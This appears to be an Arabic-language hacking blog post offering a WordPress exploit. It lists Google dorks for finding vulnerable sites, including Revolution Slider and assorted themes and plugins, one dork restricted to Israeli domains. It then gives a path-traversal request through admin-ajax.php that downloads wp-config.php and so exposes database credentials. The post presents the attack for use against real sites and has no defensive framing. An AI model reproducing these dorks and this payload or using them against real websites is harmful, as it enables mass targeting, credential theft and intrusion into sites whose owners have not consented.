• حصريا : ثغرة wordpress 2016


    السلام عليكم و رحمة الله تعالى و بركاته

    اليوم انا معاكم بثغرة حديثة خاصة ب WordPress

    نتوكل على الله

    اولا الدوركات

    inurl:wp-content
    inurl:wp-content/themes/
    inurl:wp-content inurl:revslider
    inurl:wp-content in****:revslider.php
    inurl:wp-content in****:revslider_front.php
    inurl:wp-content in****:revslider.php site:il
    themes/WP-Smartcheck
    themes/stendhal
    theme/templates/sliders
    themes/RoyalOak
    themes/celestino2
    plugins/dnd-shortcodes
    themes/incrediblewp
    themes/celestino
    plugins/meteor-extras
    themes/bazar
    themes/cheope
    themes/aziza

    الاستغلال

    /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

    الشرح

    عند الاستغلال راح يتحمل عندنا ملف اسموا admin-ajax.php
    وداخل الملف رح نلاقي 
    بيانات قاعدة البيانات 

    + مشاركه

    Hm

    أيمن خلفاتني : من الجزائر, عمري 17سنة دخلت عالم الهككر سنة 2013 وحاليا ملك الساحة الالجزائرية ختراق الشاتات الفلاشيه ، ! ، ,لدي إهتمامات اخرى منها الرياضة ، ألعاب الفيديو ، والتصميم بحد ذاته .

    التعليقات
    0 التعليقات
    :))Blogger ;)) ;;) :DBlogger ;) :p :(( :) :(Smiley =(( =)) :-* :x b-(:-t8-}
    تصفح المدونه اثناء انتظار الرد
    الاشتراك في: تعليقات الرسالة (Atom)

    أخر حلقات | مهووس المعلوميات

    عن المدونة

    المشاركات الشائعة